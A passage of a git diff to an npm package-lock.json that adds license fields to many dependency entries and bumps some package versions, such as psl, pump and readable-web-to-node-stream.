       "integrity": "sha512-CjBWtFStCfIiT4Bde9QpJy0KeH19jCfwZRJqHFDFXfhUklCx8JoFmMj3wgnEYIwGmZVNkhsStPHEOnrtrQhEXA==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "@babel/generator": "7.18.2",
         "@babel/parser": "7.18.4",
@@ -10944,6 +12204,7 @@
       "resolved": "https://registry.npmjs.org/pkg-dir/-/pkg-dir-5.0.0.tgz",
       "integrity": "sha512-NPE8TDbzl/3YQYY7CSS228s3g2ollTFnc+Qi3tqmqJp9Vg2ovUpixcJEo2HJScN2Ez+kEaal6y70c0ehqJBJeA==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "find-up": "^5.0.0"
       },
@@ -10956,6 +12217,7 @@
       "resolved": "https://registry.npmjs.org/pkg-fetch/-/pkg-fetch-3.4.2.tgz",
       "integrity": "sha512-0+uijmzYcnhC0hStDjm/cl2VYdrmVVBpe7Q8k9YBojxmR5tG8mvR9/nooQq3QSXiQqORDVOTY3XqMEqJVIzkHA==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "chalk": "^4.1.2",
         "fs-extra": "^9.1.0",
@@ -10975,6 +12237,7 @@
       "resolved": "https://registry.npmjs.org/fs-extra/-/fs-extra-9.1.0.tgz",
       "integrity": "sha512-hcg3ZmepS30/7BSFqRvoo3DOMQu7IjqxO5nCDt+zM9XWjb33Wg7ziNT+Qvqbuc3+gWpzO02JubVyk2G4Zvo1OQ==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "at-least-node": "^1.0.0",
         "graceful-fs": "^4.2.0",
@@ -10990,6 +12253,7 @@
       "resolved": "https://registry.npmjs.org/pkg-up/-/pkg-up-3.1.0.tgz",
       "integrity": "sha512-nDywThFk1i4BQK4twPQ6TA4RT8bDY96yeuCVBWL3ePARCiEKDRSrNGbFIgUJpLp+XeIR65v8ra7WuJOFUBtkMA==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "find-up": "^3.0.0"
       },
@@ -11002,6 +12266,7 @@
       "resolved": "https://registry.npmjs.org/find-up/-/find-up-3.0.0.tgz",
       "integrity": "sha512-1yD6RmLI1XBfxugvORwlck6f75tYL+iR0jqwsOrOxMZyGYqUuDhJ0l4AXdO1iX/FTs9cBAMEk1gWSEx1kSbylg==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "locate-path": "^3.0.0"
       },
@@ -11014,6 +12279,7 @@
       "resolved": "https://registry.npmjs.org/locate-path/-/locate-path-3.0.0.tgz",
       "integrity": "sha512-7AO748wWnIhNqAuaty2ZWHkQHRSNfPVIsPIfwEOWO22AmaoVrWavlOcMR5nzTLNYvp36X220/maaRsrec1G65A==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "p-locate": "^3.0.0",
         "path-exists": "^3.0.0"
@@ -11027,6 +12293,7 @@
       "resolved": "https://registry.npmjs.org/p-limit/-/p-limit-2.3.0.tgz",
       "integrity": "sha512-//88mFWSJx8lxCzwdAABTJL2MyWB12+eIY7MDL2SqLmAkeKU9qxRvWuSyTjm3FUmpBEMuFfckAIqEaVGUDxb6w==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "p-try": "^2.0.0"
       },
@@ -11042,6 +12309,7 @@
       "resolved": "https://registry.npmjs.org/p-locate/-/p-locate-3.0.0.tgz",
       "integrity": "sha512-x+12w/To+4GFfgJhBEpiDcLozRJGegY+Ei7/z0tSLkMmxGZNybVMSfWj9aJn8Z5Fc7dBUNJOOVgPv2H7IwulSQ==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "p-limit": "^2.0.0"
       },
@@ -11054,6 +12322,7 @@
       "resolved": "https://registry.npmjs.org/path-exists/-/path-exists-3.0.0.tgz",
       "integrity": "sha512-bpC7GYwiDYQ4wYLe+FA8lhRjhQCMcQGuSgGGqDkg/QerRWw9CmGRT0iSOVRSZJ29NMLZgIzqaljJ63oaL4NIJQ==",
       "dev": true,
+      "license": "MIT",
       "engines": {
         "node": ">=4"
       }
@@ -11063,6 +12332,7 @@
       "resolved": "https://registry.npmjs.org/@babel/generator/-/generator-7.18.2.tgz",
       "integrity": "sha512-W1lG5vUwFvfMd8HVXqdfbuG7RuaSrTCCD8cl8fP8wOivdbtbIg2Db3IWUcgvfxKbbn6ZBGYRW/Zk1MIwK49mgw==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "@babel/types": "^7.18.2",
         "@jridgewell/gen-mapping": "^0.3.0",
@@ -11077,6 +12347,7 @@
       "resolved": "https://registry.npmjs.org/@babel/parser/-/parser-7.18.4.tgz",
       "integrity": "sha512-FDge0dFazETFcxGw/EXzOkN8uJp0PC7Qbm+Pe9T+av2zlBpOgunFHkQPPn+eRuClU73JF+98D531UgayY89tow==",
       "dev": true,
+      "license": "MIT",
       "bin": {
         "parser": "bin/babel-parser.js"
       },
@@ -11089,6 +12360,7 @@
       "resolved": "https://registry.npmjs.org/@babel/types/-/types-7.19.0.tgz",
       "integrity": "sha512-YuGopBq3ke25BVSiS6fgF49Ul9gH1x70Bcr6bqRLjWCkcX8Hre1/5+z+IiWOIerRMSSEfGZVB9z9kyq7wVs9YA==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "@babel/helper-string-parser": "^7.18.10",
         "@babel/helper-validator-identifier": "^7.18.6",
@@ -11103,6 +12375,7 @@
       "resolved": "https://registry.npmjs.org/fs-extra/-/fs-extra-9.1.0.tgz",
       "integrity": "sha512-hcg3ZmepS30/7BSFqRvoo3DOMQu7IjqxO5nCDt+zM9XWjb33Wg7ziNT+Qvqbuc3+gWpzO02JubVyk2G4Zvo1OQ==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "at-least-node": "^1.0.0",
         "graceful-fs": "^4.2.0",
@@ -11118,6 +12391,7 @@
       "resolved": "https://registry.npmjs.org/is-core-module/-/is-core-module-2.9.0.tgz",
       "integrity": "sha512-+5FPy5PnwmO3lvfMb0AsoPaBG+5KHUI0wYFXOtYPnVVVspTFUuMZNfNaNVRt3FZadstu2c8x23vykRW/NBoU6A==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "has": "^1.0.3"
       },
@@ -11125,20 +12399,44 @@
         "url": "https://github.com/sponsors/ljharb"
       }
     },
+    "node_modules/pkg/node_modules/jsesc": {
+      "version": "2.5.2",
+      "resolved": "https://registry.npmjs.org/jsesc/-/jsesc-2.5.2.tgz",
+      "integrity": "sha512-OYu7XEzjkCQ3C5Ps3QIZsQfNpqoJyZZA99wd9aWd05NCtC5pWOkShK2mkL6HXQR6/Cy2lbNdPlZBpuQHXE63gA==",
+      "dev": true,
+      "license": "MIT",
+      "bin": {
+        "jsesc": "bin/jsesc"
+      },
+      "engines": {
+        "node": ">=4"
+      }
+    },
     "node_modules/please-upgrade-node": {
       "version": "3.2.0",
       "resolved": "https://registry.npmjs.org/please-upgrade-node/-/please-upgrade-node-3.2.0.tgz",
       "integrity": "sha512-gQR3WpIgNIKwBMVLkpMUeR3e1/E1y42bqDQZfql+kDeXd8COYfM8PQA4X6y7a8u9Ua9FHmsrrmirW2vHs45hWg==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "semver-compare": "^1.0.0"
       }
     },
+    "node_modules/possible-typed-array-names": {
+      "version": "1.1.0",
+      "resolved": "https://registry.npmjs.org/possible-typed-array-names/-/possible-typed-array-names-1.1.0.tgz",
+      "integrity": "sha512-/+5VFTchJDoVj3bhoqi6UeymcD00DAwb1nJwamzPvHEszJ4FpF6SNNbUbOS8yI56qHzdV8eK0qEfOSiodkTdxg==",
+      "license": "MIT",
+      "engines": {
+        "node": ">= 0.4"
+      }
+    },
     "node_modules/prebuild-install": {
       "version": "7.1.1",
       "resolved": "https://registry.npmjs.org/prebuild-install/-/prebuild-install-7.1.1.tgz",
       "integrity": "sha512-jAXscXWMcCK8GgCoHOfIr0ODh5ai8mj63L2nWrjuAgXE6tDyYGnx4/8o/rCgU+B4JSyZBKbeZqzhtwtC3ovxjw==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "detect-libc": "^2.0.0",
         "expand-template": "^2.0.3",
@@ -11165,6 +12463,7 @@
       "resolved": "https://registry.npmjs.org/prelude-ls/-/prelude-ls-1.2.1.tgz",
       "integrity": "sha512-vkcDPrRZo1QZLbn5RLGPpg/WmIQ65qoWWhcGKf/b5eplkkarX0m9z8ppCat4mlOqUsWpyNuYgO3VRyrYHSzX5g==",
       "dev": true,
+      "license": "MIT",
       "engines": {
         "node": ">= 0.8.0"
       }
@@ -11174,6 +12473,7 @@
       "resolved": "https://registry.npmjs.org/prettier/-/prettier-2.8.8.tgz",
       "integrity": "sha512-tdN8qQGvNjw4CHbY+XXk0JgCXn9QiF21a55rBe5LJAU+kDyC4WQn4+awm2Xfk2lQMk5fKup9XgzTZtGkjBdP9Q==",
       "dev": true,
+      "license": "MIT",
       "bin": {
         "prettier": "bin-prettier.js"
       },
@@ -11184,16 +12484,27 @@
         "url": "https://github.com/prettier/prettier?sponsor=1"
       }
     },
+    "node_modules/process": {
+      "version": "0.11.10",
+      "resolved": "https://registry.npmjs.org/process/-/process-0.11.10.tgz",
+      "integrity": "sha512-cdGef/drWFoydD1JsMzuFf8100nZl+GT+yacc2bEced5f9Rjk4z+WtFUTBu9PhOi9j/jfmBPu0mMEY4wIdAF8A==",
+      "license": "MIT",
+      "engines": {
+        "node": ">= 0.6.0"
+      }
+    },
     "node_modules/process-nextick-args": {
       "version": "2.0.1",
       "resolved": "https://registry.npmjs.org/process-nextick-args/-/process-nextick-args-2.0.1.tgz",
-      "integrity": "sha512-3ouUOpQhtgrbOa17J7+uxOTpITYWaGP7/AhoR3+A+/1e9skrzelGi/dXzEYyvbxubEF6Wn2ypscTKiKJFFn1ag=="
+      "integrity": "sha512-3ouUOpQhtgrbOa17J7+uxOTpITYWaGP7/AhoR3+A+/1e9skrzelGi/dXzEYyvbxubEF6Wn2ypscTKiKJFFn1ag==",
+      "license": "MIT"
     },
     "node_modules/process-on-spawn": {
-      "version": "1.0.0",
-      "resolved": "https://registry.npmjs.org/process-on-spawn/-/process-on-spawn-1.0.0.tgz",
-      "integrity": "sha512-1WsPDsUSMmZH5LeMLegqkPDrsGgsWwk1Exipy2hvB0o/F0ASzbpIctSCcZIK1ykJvtTJULEH+20WOFjMvGnCTg==",
+      "version": "1.1.0",
+      "resolved": "https://registry.npmjs.org/process-on-spawn/-/process-on-spawn-1.1.0.tgz",
+      "integrity": "sha512-JOnOPQ/8TZgjs1JIH/m9ni7FfimjNa/PRx7y/Wb5qdItsnhO0jE4AT7fC0HjC28DUQWDr50dwSYZLdRMlqDq3Q==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "fromentries": "^1.2.0"
       },
@@ -11205,6 +12516,7 @@
       "version": "4.0.0",
       "resolved": "https://registry.npmjs.org/process-utils/-/process-utils-4.0.0.tgz",
       "integrity": "sha512-fMyMQbKCxX51YxR7YGCzPjLsU3yDzXFkP4oi1/Mt5Ixnk7GO/7uUTj8mrCHUwuvozWzI+V7QSJR9cZYnwNOZPg==",
+      "license": "ISC",
       "dependencies": {
         "ext": "^1.4.0",
         "fs2": "^0.3.9",
@@ -11220,6 +12532,7 @@
       "resolved": "https://registry.npmjs.org/progress/-/progress-2.0.3.tgz",
       "integrity": "sha512-7PiHtLll5LdnKIMw100I+8xJXR5gW2QwWYkT6iJva0bXitZKa/XMrSbdmg3r2Xnaidz9Qumd0VPaMrZlF9V9sA==",
       "dev": true,
+      "license": "MIT",
       "engines": {
         "node": ">=0.4.0"
       }
@@ -11228,6 +12541,7 @@
       "version": "2.2.5",
       "resolved": "https://registry.npmjs.org/promise-queue/-/promise-queue-2.2.5.tgz",
       "integrity": "sha512-p/iXrPSVfnqPft24ZdNNLECw/UrtLTpT3jpAAMzl/o5/rDsGCPo3/CQS2611flL6LkoEJ3oQZw7C8Q80ZISXRQ==",
+      "license": "MIT",
       "engines": {
         "node": ">= 0.8.0"
       }
@@ -11235,13 +12549,15 @@
     "node_modules/proxy-from-env": {
       "version": "1.1.0",
       "resolved": "https://registry.npmjs.org/proxy-from-env/-/proxy-from-env-1.1.0.tgz",
-      "integrity": "sha512-D+zkORCbA9f1tdWRK0RaCR3GPv50cMxcrz4X8k5LTSUD1Dkw47mKJEZQNunItRTkWwgtaUSo1RVFRIG9ZXiFYg=="
+      "integrity": "sha512-D+zkORCbA9f1tdWRK0RaCR3GPv50cMxcrz4X8k5LTSUD1Dkw47mKJEZQNunItRTkWwgtaUSo1RVFRIG9ZXiFYg==",
+      "license": "MIT"
     },
     "node_modules/proxyquire": {
       "version": "2.1.3",
       "resolved": "https://registry.npmjs.org/proxyquire/-/proxyquire-2.1.3.tgz",
       "integrity": "sha512-BQWfCqYM+QINd+yawJz23tbBM40VIGXOdDw3X344KcclI/gtBbdWF6SlQ4nK/bYhF9d27KYug9WzljHC6B9Ysg==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "fill-keys": "^1.0.2",
         "module-not-found-error": "^1.0.1",
@@ -11249,15 +12565,23 @@
       }
     },
     "node_modules/psl": {
-      "version": "1.9.0",
-      "resolved": "https://registry.npmjs.org/psl/-/psl-1.9.0.tgz",
-      "integrity": "sha512-E/ZsdU4HLs/68gYzgGTkMicWTLPdAftJLfJFlLUAAKZGkStNU72sZjT66SnMDVOfOWY/YAoiD7Jxa9iHvngcag==",
-      "dev": true
+      "version": "1.15.0",
+      "resolved": "https://registry.npmjs.org/psl/-/psl-1.15.0.tgz",
+      "integrity": "sha512-JZd3gMVBAVQkSs6HdNZo9Sdo0LNcQeMNP3CozBJb3JYC/QUYZTnKxP+f8oWRX4rHP5EurWxqAHTSwUCjlNKa1w==",
+      "dev": true,
+      "license": "MIT",
+      "dependencies": {
+        "punycode": "^2.3.1"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/lupomontero"
+      }
     },
     "node_modules/pump": {
-      "version": "3.0.0",
-      "resolved": "https://registry.npmjs.org/pump/-/pump-3.0.0.tgz",
-      "integrity": "sha512-LwZy+p3SFs1Pytd/jYct4wpv49HiYCqd9Rlc5ZVdk0V+8Yzv6jR5Blk3TRmPL1ft69TxP0IMZGJ+WPFU2BFhww==",
+      "version": "3.0.3",
+      "resolved": "https://registry.npmjs.org/pump/-/pump-3.0.3.tgz",
+      "integrity": "sha512-todwxLMY7/heScKmntwQG8CXVkWUOdYxIvY2s0VWAAMh/nd8SoYiRaKjlr7+iCs984f2P8zvrfWcDDYVb73NfA==",
+      "license": "MIT",
       "dependencies": {
         "end-of-stream": "^1.1.0",
         "once": "^1.3.1"
@@ -11267,6 +12591,7 @@
       "version": "2.3.1",
       "resolved": "https://registry.npmjs.org/punycode/-/punycode-2.3.1.tgz",
       "integrity": "sha512-vYt7UD1U9Wg6138shLtLOvdAu+8DsC/ilFtEVHcH+wydcSpNE20AfSOduf6MkRFahL5FY7X1oU7nKVZFtfq8Fg==",
+      "license": "MIT",
       "engines": {
         "node": ">=6"
       }
@@ -11275,7 +12600,9 @@
       "version": "1.5.1",
       "resolved": "https://registry.npmjs.org/q/-/q-1.5.1.tgz",
       "integrity": "sha512-kV/CThkXo6xyFEZUugw/+pIOywXcDbFYgSct5cT3gqlbkBE1SJdwy6UQoZvodiWF/ckQLZyDE/Bu1M6gVu5lVw==",
+      "deprecated": "You or someone you depend on is using Q, the JavaScript Promise library that gave JavaScript developers strong feelings about promises. They can almost certainly migrate to the native JavaScript promise now. Thank you literally everyone for joining me in this bet against the odds. Be excellent to each other.\n\n(For a CapTP with native promises, see @endo/eventual-send and @endo/captp)",
       "dev": true,
+      "license": "MIT",
       "engines": {
         "node": ">=0.6.0",
         "teleport": ">=0.2.0"
@@ -11286,6 +12613,7 @@
       "resolved": "https://registry.npmjs.org/qs/-/qs-6.5.3.tgz",
       "integrity": "sha512-qxXIEh4pCGfHICj1mAJQ2/2XVZkjCDTcEgfoSQxc/fYivUZxTkk7L3bDBJSoNrEzXI17oUO5Dp07ktqE5KzczA==",
       "dev": true,
+      "license": "BSD-3-Clause",
       "engines": {
         "node": ">=0.6"
       }
@@ -11295,6 +12623,7 @@
       "resolved": "https://registry.npmjs.org/querystring/-/querystring-0.2.1.tgz",
       "integrity": "sha512-wkvS7mL/JMugcup3/rMitHmd9ecIGd2lhFhK9N3UUQ450h66d1r3Y9nvXzQAW1Lq+wyx61k/1pfKS5KuKiyEbg==",
       "deprecated": "The querystring API is considered Legacy. new code should use the URLSearchParams API instead.",
+      "license": "MIT",
       "engines": {
         "node": ">=0.4.x"
       }
@@ -11316,12 +12645,14 @@
           "type": "consulting",
           "url": "https://feross.org/support"
         }
-      ]
+      ],
+      "license": "MIT"
     },
     "node_modules/quick-lru": {
       "version": "5.1.1",
       "resolved": "https://registry.npmjs.org/quick-lru/-/quick-lru-5.1.1.tgz",
       "integrity": "sha512-WuyALRjWPDGtt/wzJiadO5AXY+8hZ80hVpe6MyivgraREW751X3SbhRvG3eLKOYN+8VEvqLcf3wdnt44Z4S4SA==",
+      "license": "MIT",
       "engines": {
         "node": ">=10"
       },
@@ -11334,6 +12665,7 @@
       "resolved": "https://registry.npmjs.org/randombytes/-/randombytes-2.1.0.tgz",
       "integrity": "sha512-vYl3iOX+4CKUWuxGi9Ukhie6fsqXqS9FE2Zaic4tNFD2N2QQaXOMFbuKK4QmDHC0JO6B1Zp41J0LpT0oR68amQ==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "safe-buffer": "^5.1.0"
       }
@@ -11343,6 +12675,7 @@
       "resolved": "https://registry.npmjs.org/rc/-/rc-1.2.8.tgz",
       "integrity": "sha512-y3bGgqKj3QBdxLbLkomlohkvsA8gdAiUQlSBJnBhfn+BPxg4bc62d8TcBW15wavDfgexCgccckhcZvywyQYPOw==",
       "dev": true,
+      "license": "(BSD-2-Clause OR MIT OR Apache-2.0)",
       "dependencies": {
         "deep-extend": "^0.6.0",
         "ini": "~1.3.0",
@@ -11358,6 +12691,7 @@
       "resolved": "https://registry.npmjs.org/strip-json-comments/-/strip-json-comments-2.0.1.tgz",
       "integrity": "sha512-4gB8na07fecVVkOI6Rs4e7T6NOTki5EmL7TUduTs6bu3EdnSycntVJ4re8kgZA+wx9IueI2Y11bfbgwtzuE0KQ==",
       "dev": true,
+      "license": "MIT",
       "engines": {
         "node": ">=0.10.0"
       }
@@ -11367,6 +12701,7 @@
       "resolved": "https://registry.npmjs.org/read-pkg/-/read-pkg-5.2.0.tgz",
       "integrity": "sha512-Ug69mNOpfvKDAc2Q8DRpMjjzdtrnv9HcSMX+4VsZxD1aZ6ZzrIE7rlzXBtWTyhULSMKg076AW6WR5iZpD0JiOg==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "@types/normalize-package-data": "^2.4.0",
         "normalize-package-data": "^2.5.0",
@@ -11382,6 +12717,7 @@
       "resolved": "https://registry.npmjs.org/read-pkg-up/-/read-pkg-up-7.0.1.tgz",
       "integrity": "sha512-zK0TB7Xd6JpCLmlLmufqykGE+/TlOePD6qKClNW7hHDKFh/J7/7gCWGR7joEQEW1bKq3a3yUZSObOoWLFQ4ohg==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "find-up": "^4.1.0",
         "read-pkg": "^5.2.0",
@@ -11399,6 +12735,7 @@
       "resolved": "https://registry.npmjs.org/find-up/-/find-up-4.1.0.tgz",
       "integrity": "sha512-PpOwAdQ/YlXQ2vj8a3h8IipDuYRi3wceVQQGYWxNINccq40Anw7BlsEXCMbt1Zt+OLA6Fq9suIpIWD0OsnISlw==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "locate-path": "^5.0.0",
         "path-exists": "^4.0.0"
@@ -11412,6 +12749,7 @@
       "resolved": "https://registry.npmjs.org/locate-path/-/locate-path-5.0.0.tgz",
       "integrity": "sha512-t7hw9pI+WvuwNJXwk5zVHpyhIqzg2qTlklJOf0mVxGSbe3Fp2VieZcduNYjaLDoy6p9uGpQEGWG87WpMKlNq8g==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "p-locate": "^4.1.0"
       },
@@ -11424,6 +12762,7 @@
       "resolved": "https://registry.npmjs.org/p-limit/-/p-limit-2.3.0.tgz",
       "integrity": "sha512-//88mFWSJx8lxCzwdAABTJL2MyWB12+eIY7MDL2SqLmAkeKU9qxRvWuSyTjm3FUmpBEMuFfckAIqEaVGUDxb6w==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "p-try": "^2.0.0"
       },
@@ -11439,6 +12778,7 @@
       "resolved": "https://registry.npmjs.org/p-locate/-/p-locate-4.1.0.tgz",
       "integrity": "sha512-R79ZZ/0wAxKGu3oYMlz8jy/kbhsNrS7SKZ7PxEHBgJ5+F2mtFW2fK2cOtBh1cHYkQsbzFV7I+EoRKe6Yt0oK7A==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "p-limit": "^2.2.0"
       },
@@ -11451,6 +12791,7 @@
       "resolved": "https://registry.npmjs.org/type-fest/-/type-fest-0.8.1.tgz",
       "integrity": "sha512-4dbzIzqvjtgiM5rw1k5rEHtBANKmdudhGyBEajN01fEyhaAIhsoKNy6y7+IN93IfpFtwY9iqi7kD+xwKhQsNJA==",
       "dev": true,
+      "license": "(MIT OR CC0-1.0)",
       "engines": {
         "node": ">=8"
       }
@@ -11459,13 +12800,15 @@
       "version": "2.8.9",
       "resolved": "https://registry.npmjs.org/hosted-git-info/-/hosted-git-info-2.8.9.tgz",
       "integrity": "sha512-mxIDAb9Lsm6DoOJ7xH+5+X4y1LU/4Hi50L9C5sIswK3JzULS4bwk1FvjdBgvYR4bzT4tuUQiC15FE2f5HbLvYw==",
-      "dev": true
+      "dev": true,
+      "license": "ISC"
     },
     "node_modules/read-pkg/node_modules/normalize-package-data": {
       "version": "2.5.0",
       "resolved": "https://registry.npmjs.org/normalize-package-data/-/normalize-package-data-2.5.0.tgz",
       "integrity": "sha512-/5CMN3T0R4XTj4DcGaexo+roZSdSFW/0AOOTROrjxzCG1wrWXEsGbRKevjlIL+ZDE4sZlJr5ED4YW0yqmkK+eA==",
       "dev": true,
+      "license": "BSD-2-Clause",
       "dependencies": {
         "hosted-git-info": "^2.1.4",
         "resolve": "^1.10.0",
@@ -11478,6 +12821,7 @@
       "resolved": "https://registry.npmjs.org/semver/-/semver-5.7.2.tgz",
       "integrity": "sha512-cBznnQ9KjJqU67B52RMC65CMarK2600WFnbkcaiwWq3xy/5haFJlshgnpjovMVJ+Hff49d8GEn0b87C5pDQ10g==",
       "dev": true,
+      "license": "ISC",
       "bin": {
         "semver": "bin/semver"
       }
@@ -11487,6 +12831,7 @@
       "resolved": "https://registry.npmjs.org/type-fest/-/type-fest-0.6.0.tgz",
       "integrity": "sha512-q+MB8nYR1KDLrgr4G5yemftpMC7/QLqVndBmEEdqzmNj5dcFOO4Oo8qlwZE3ULT3+Zim1F8Kq4cBnikNhlCMlg==",
       "dev": true,
+      "license": "(MIT OR CC0-1.0)",
       "engines": {
         "node": ">=8"
       }
@@ -11495,6 +12840,7 @@
       "version": "3.6.2",
       "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-3.6.2.tgz",
       "integrity": "sha512-9u/sniCrY3D5WdsERHzHE4G2YCXqoG5FTHUiCC4SIbr6XcLZBY05ya9EKjYek9O5xOAwjGq+1JdGBAS7Q9ScoA==",
+      "license": "MIT",
       "dependencies": {
         "inherits": "^2.0.3",
         "string_decoder": "^1.1.1",
@@ -11505,11 +12851,12 @@
       }
     },
     "node_modules/readable-web-to-node-stream": {
-      "version": "3.0.2",
-      "resolved": "https://registry.npmjs.org/readable-web-to-node-stream/-/readable-web-to-node-stream-3.0.2.tgz",
-      "integrity": "sha512-ePeK6cc1EcKLEhJFt/AebMCLL+GgSKhuygrZ/GLaKZYEecIgIECf4UaUuaByiGtzckwR4ain9VzUh95T1exYGw==",
+      "version": "3.0.4",
+      "resolved": "https://registry.npmjs.org/readable-web-to-node-stream/-/readable-web-to-node-stream-3.0.4.tgz",
+      "integrity": "sha512-9nX56alTf5bwXQ3ZDipHJhusu9NTQJ/CVPtb/XHAJCXihZeitfJvIRS4GqQ/mfIoOE3IelHMrpayVrosdHBuLw==",
+      "license": "MIT",
       "dependencies": {
-        "readable-stream": "^3.6.0"
+        "readable-stream": "^4.7.0"
       },
       "engines": {
         "node": ">=8"
@@ -11519,18 +12866,89 @@
         "url": "https://github.com/sponsors/Borewit"
       }
     },
+    "node_modules/readable-web-to-node-stream/node_modules/buffer": {
+      "version": "6.0.3",
+      "resolved": "https://registry.npmjs.org/buffer/-/buffer-6.0.3.tgz",
+      "integrity": "sha512-FTiCpNxtwiZZHEZbcbTIcZjERVICn9yq/pDFkTl95/AxzD1naBctN7YO68riM/gLSDY7sdrMby8hofADYuuqOA==",
+      "funding": [
+        {
+          "type": "github",
+          "url": "https://github.com/sponsors/feross"
+        },
+        {
+          "type": "patreon",
+          "url": "https://www.patreon.com/feross"
+        },
+        {
+          "type": "consulting",
+          "url": "https://feross.org/support"
+        }
+      ],
+      "license": "MIT",
+      "dependencies": {
+        "base64-js": "^1.3.1",
+        "ieee754": "^1.2.1"
+      }
+    },
+    "node_modules/readable-web-to-node-stream/node_modules/events": {
+      "version": "3.3.0",
+      "resolved": "https://registry.npmjs.org/events/-/events-3.3.0.tgz",
+      "integrity": "sha512-mQw+2fkQbALzQ7V0MY0IqdnXNOeTtP4r0lN9z7AAawCXgqea7bDii20AYrIBrFd/Hx0M2Ocz6S111CaFkUcb0Q==",
+      "license": "MIT",
+      "engines": {
+        "node": ">=0.8.x"
+      }
+    },
+    "node_modules/readable-web-to-node-stream/node_modules/ieee754": {
+      "version": "1.2.1",
+      "resolved": "https://registry.npmjs.org/ieee754/-/ieee754-1.2.1.tgz",
+      "integrity": "sha512-dcyqhDvX1C46lXZcVqCpK+FtMRQVdIMN6/Df5js2zouUsqG7I6sFxitIC+7KYK29KdXOLHdu9zL4sFnoVQnqaA==",
+      "funding": [
+        {
+          "type": "github",
+          "url": "https://github.com/sponsors/feross"
+        },
+        {
+          "type": "patreon",
+          "url": "https://www.patreon.com/feross"
+        },
+        {
+          "type": "consulting",
+          "url": "https://feross.org/support"
+        }
+      ],
+      "license": "BSD-3-Clause"
+    },
+    "node_modules/readable-web-to-node-stream/node_modules/readable-stream": {
+      "version": "4.7.0",
+      "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-4.7.0.tgz",
+      "integrity": "sha512-oIGGmcpTLwPga8Bn6/Z75SVaH1z5dUut2ibSyAMVhmUggWpmDn2dapB0n7f8nwaSiRtepAsfJyfXIO5DCVAODg==",
+      "license": "MIT",
+      "dependencies": {
+        "abort-controller": "^3.0.0",
+        "buffer": "^6.0.3",
+        "events": "^3.3.0",
+        "process": "^0.11.10",
+        "string_decoder": "^1.3.0"
+      },
+      "engines": {
+        "node": "^12.22.0 || ^14.17.0 || >=16.0.0"
+      }
+    },
     "node_modules/readdir-glob": {
       "version": "1.1.3",
       "resolved": "https://registry.npmjs.org/readdir-glob/-/readdir-glob-1.1.3.tgz",
       "integrity": "sha512-v05I2k7xN8zXvPD9N+z/uhXPaj0sUFCe2rcWZIpBsqxfP7xXFQ0tipAd/wjj1YxWyWtUS5IDJpOG82JKt2EAVA==",
+      "license": "Apache-2.0",
       "dependencies": {
         "minimatch": "^5.1.0"
       }
     },
     "node_modules/readdir-glob/node_modules/brace-expansion": {
-      "version": "2.0.1",
-      "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-2.0.1.tgz",
-      "integrity": "sha512-XnAIvQ8eM+kC6aULx6wuQiwVsnzsi9d3WxzV3FpWTGA19F621kwdbsAcFKXgKUHZWsy+mY6iL1sHTxWEFCytDA==",
+      "version": "2.0.2",
+      "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-2.0.2.tgz",
+      "integrity": "sha512-Jt0vHyM+jmUBqojB7E1NIYadt0vI0Qxjxd2TErW94wDz+E2LAm5vKMXXwg6ZZBTHPuUlDgQHKXvjGBdfcF1ZDQ==",
+      "license": "MIT",
       "dependencies": {
         "balanced-match": "^1.0.0"
       }
@@ -11539,6 +12957,7 @@
       "version": "5.1.6",
       "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-5.1.6.tgz",
       "integrity": "sha512-lKwV/1brpG6mBUFHtb7NUmtABCb2WZZmm2wNiOA5hAb8VdCS4B3dtMWyvcoViccwAW/COERjXLt0zP1zXUN26g==",
+      "license": "ISC",
       "dependencies": {
         "brace-expansion": "^2.0.1"
       },
@@ -11550,6 +12969,7 @@
       "version": "3.6.0",
       "resolved": "https://registry.npmjs.org/readdirp/-/readdirp-3.6.0.tgz",
       "integrity": "sha512-hOS089on8RduqdbhvQ5Z37A0ESjsqz6qnRcffsMU3495FuTdqSm+7bhJ29JvIOsBDEEnan5DPu9t3To9VRlMzA==",
+      "license": "MIT",
       "dependencies": {
         "picomatch": "^2.2.1"
       },
@@ -11562,6 +12982,7 @@
       "resolved": "https://registry.npmjs.org/redent/-/redent-3.0.0.tgz",
       "integrity": "sha512-6tDA8g98We0zd0GvVeMT9arEOnTw9qM03L9cJXaCjrip1OO764RDBLBfrB4cwzNGDj5OA5ioymC9GkizgWJDUg==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "indent-string": "^4.0.0",
         "strip-indent": "^3.0.0"
@@ -11570,15 +12991,40 @@
         "node": ">=8"
       }
     },
-    "node_modules/regexp.prototype.flags": {
-      "version": "1.5.1",
-      "resolved": "https://registry.npmjs.org/regexp.prototype.flags/-/regexp.prototype.flags-1.5.1.tgz",
